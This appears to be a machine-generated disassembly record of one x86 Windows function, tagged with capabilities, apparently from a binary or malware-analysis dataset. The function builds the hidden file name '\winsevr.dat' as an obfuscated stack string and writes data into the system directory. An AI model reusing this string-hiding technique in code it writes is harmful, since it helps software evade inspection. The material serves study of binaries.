Function at 0x428ad0
Capabilities:
Contain obfuscated stackstrings
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x46709c
mov eax, dword fs:[0]
push eax
sub esp, 0x600
mov eax, dword [0x48602c]
xor eax, esp
mov dword [esp + 0x5f8], eax
push ebx
push esi
push edi
mov eax, dword [0x48602c]
xor eax, esp
push eax
lea eax, [esp + 0x610]
mov dword fs:[0], eax
mov ebx, ecx
mov ecx, 0x6c
lea esi, [ebp + 8]
lea edi, [esp + 0x34]
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push 0x3fe
lea eax, [esp + 0x20a]
push esi
push eax
mov word [esp + 0x210], si
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x400
lea ecx, [esp + 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea ecx, [esp + 0x18]
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::constructor_void_]
lea edx, [esp + 0x204]
push edx
lea ecx, [esp + 0x1c]
mov dword [esp + 0x61c], esi
call dword [sym.imp.MSVCP80.dll_public:_class_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t______thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::operator_wchar_t_const__]
lea ecx, [esp + 0x18]
call dword [sym.imp.MSVCP80.dll_public:_unsigned_int___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::size_void_const]
test eax, eax
je 0x428cb0
cmp byte [ebx + 0x6c], 0
mov word [esp + 0x1e8], 0x5c
mov word [esp + 0x1ea], 0x77
mov word [esp + 0x1ec], 0x69
mov word [esp + 0x1ee], 0x6e
mov word [esp + 0x1f0], 0x73
mov word [esp + 0x1f2], 0x65
mov word [esp + 0x1f4], 0x76
mov word [esp + 0x1f6], 0x72
mov word [esp + 0x1f8], 0x2e
mov word [esp + 0x1fa], 0x64
mov word [esp + 0x1fc], 0x61
mov word [esp + 0x1fe], 0x74
mov word [esp + 0x200], si
lea ecx, [esp + 0x18]
je 0x428c2a
push 0x47bbdc
call dword [0x46831c]
add ebx, 0xee
push ebx
lea ecx, [esp + 0x1c]
jmp 0x428c32
lea eax, [esp + 0x1e8]
push eax
call dword [0x46831c]
push esi
push esi
sub esp, 0x1c
lea edx, [esp + 0x3c]
mov ecx, esp
mov dword [esp + 0x34], esp
push edx
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::constructor_class_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t___const__]
lea edi, [esp + 0x38]
call fcn.00432050
test al, al
je 0x428cb0
push 0x1b0
lea eax, [esp + 0x38]
push eax
mov dword [esp + 0x18], esi
xor edi, edi
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
mov esi, dword [esp + 0x14]
jne 0x428ca5
push ebx
push ebx
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x428ca5
push ebx
lea ecx, [esp + 0x14]
push ecx
push 0x1b0
lea edx, [esp + 0x40]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x428cc9
test esi, esi
je 0x428cb0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
mov dword [esp + 0x618], 0xffffffff
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::destructor_void_]
xor al, al
jmp 0x428ceb
test esi, esi
je 0x428cd4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
mov dword [esp + 0x618], 0xffffffff
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::destructor_void_]
mov al, 1
mov ecx, dword [esp + 0x610]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x5f8]
xor ecx, esp
call fcn.0043ad38
mov esp, ebp
pop ebp
ret 0x1b0